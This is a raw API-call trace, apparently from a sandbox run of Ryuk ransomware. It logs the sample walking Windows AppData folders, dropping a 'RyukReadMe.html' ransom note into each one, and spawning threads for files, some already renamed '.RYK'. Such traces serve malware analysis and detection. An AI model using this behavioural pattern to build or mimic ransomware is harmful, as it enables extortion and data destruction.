	[0260.260] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cc4430, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52cc4430, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Credentials", cAlternateFileName="CREDEN~1")) returned 1
	[0260.260] SetLastError (dwErrCode=0x0) 
	[0260.260] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.260] GetLastError () returned 0xb7
	[0260.260] CloseHandle (hObject=0x858) returned 1
	[0260.261] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cc4430, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52cc4430, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0260.261] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cc4430, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52cc4430, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.261] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52cc4430, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x52cc4430, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52cc4430, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.261] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52cc4430, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x52cc4430, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52cc4430, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.261] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0260.262] SetLastError (dwErrCode=0x0) 
	[0260.262] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\credentials\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.262] GetLastError () returned 0xb7
	[0260.262] CloseHandle (hObject=0x858) returned 1
	[0260.262] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x52cc4430, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52cc4430, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Event Viewer", cAlternateFileName="EVENTV~1")) returned 1
	[0260.262] SetLastError (dwErrCode=0x0) 
	[0260.262] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.263] GetLastError () returned 0xb7
	[0260.263] CloseHandle (hObject=0x858) returned 1
	[0260.263] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x52cc4430, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52cc4430, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0260.263] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x32121370, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x52cc4430, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52cc4430, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.263] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52cc4430, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x52cc4430, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52cc4430, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.263] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52cc4430, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x52cc4430, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x52cc4430, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0260.264] FindClose (in: hFindFile=0x29f160 | out: hFindFile=0x29f160) returned 1
	[0260.264] SetLastError (dwErrCode=0x0) 
	[0260.264] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\event viewer\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.264] GetLastError () returned 0xb7
	[0260.264] CloseHandle (hObject=0x858) returned 1
	[0260.264] FindNextFileW (in: hFindFile=0x29f100, lpFindFileData=0x10d7d0 | out: lpFindFileData=0x10d7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54c024f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54c024f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1a8, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1
	[0260.264] SetLastError (dwErrCode=0x0) 
	[0260.264] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x858
	[0260.265] GetLastError () returned 0xb7
	[0260.265] CloseHandle (hObject=0x858) returned 1
	[0260.265] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\*.*", lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54c024f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54c024f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29f160
	[0260.265] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x54c024f0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x54c024f0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.265] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x54b69f70, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1b22, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms.RYK", cAlternateFileName="FEEDSS~1.RYK")) returned 1
	[0260.266] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x788
	[0260.376] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.378] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="Microsoft Feeds~", cAlternateFileName="MICROS~1")) returned 1
	[0260.378] SetLastError (dwErrCode=0x0) 
	[0260.378] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac
	[0260.379] GetLastError () returned 0xb7
	[0260.379] CloseHandle (hObject=0x8ac) returned 1
	[0260.379] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0260.382] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee3456d, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.382] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfeaa2466, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="Microsoft at Home~.feed-ms", cAlternateFileName="MICROS~2.FEE")) returned 1
	[0260.382] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.383] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8
	[0260.387] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.388] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="Microsoft at Work~.feed-ms", cAlternateFileName="MICROS~1.FEE")) returned 1
	[0260.388] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.389] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0
	[0260.392] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.393] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 1
	[0260.393] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0260.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4
	[0260.401] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0260.402] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="MSNBC News~.feed-ms", cAlternateFileName="MSNBCN~1.FEE")) returned 0
	[0260.402] FindClose (in: hFindFile=0x29ef80 | out: hFindFile=0x29ef80) returned 1
	[0260.404] SetLastError (dwErrCode=0x0) 
	[0260.404] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\Microsoft Feeds~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\microsoft feeds~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac
	[0260.407] GetLastError () returned 0x0
	[0260.407] WriteFile (in: hFile=0x8ac, lpBuffer=0x13fc0dfb0*, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10cfe8, lpOverlapped=0x0 | out: lpBuffer=0x13fc0dfb0*, lpNumberOfBytesWritten=0x10cfe8*=0x273, lpOverlapped=0x0) returned 1
	[0260.409] CloseHandle (hObject=0x8ac) returned 1
	[0260.410] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x531f9450, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x531f9450, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x531f9450, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0260.410] FindNextFileW (in: hFindFile=0x29f160, lpFindFileData=0x10d0a0 | out: lpFindFileData=0x10d0a0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1bc, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 1
	[0260.410] SetLastError (dwErrCode=0x0) 
	[0260.410] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8ac
	[0260.410] GetLastError () returned 0xb7
	[0260.411] CloseHandle (hObject=0x8ac) returned 1
	[0260.411] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*.*", lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c8, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x29ef80
	[0260.411] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0260.411] FindNextFileW (in: hFindFile=0x29ef80, lpFindFileData=0x10c970 | out: lpFindFileData=0x10c970*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1c8, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1
	[0260.411] SetLastError (dwErrCode=0x0) 
	[0260.412] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0260.412] GetLastError () returned 0x3
	[0260.412] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x10c8b8, lpOverlapped=0x0) returned 0
	[0260.412] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0260.412] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*.*", lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x240000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x2404a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0260.412] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0260.412] SetLastError (dwErrCode=0x0) 
	[0260.412] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
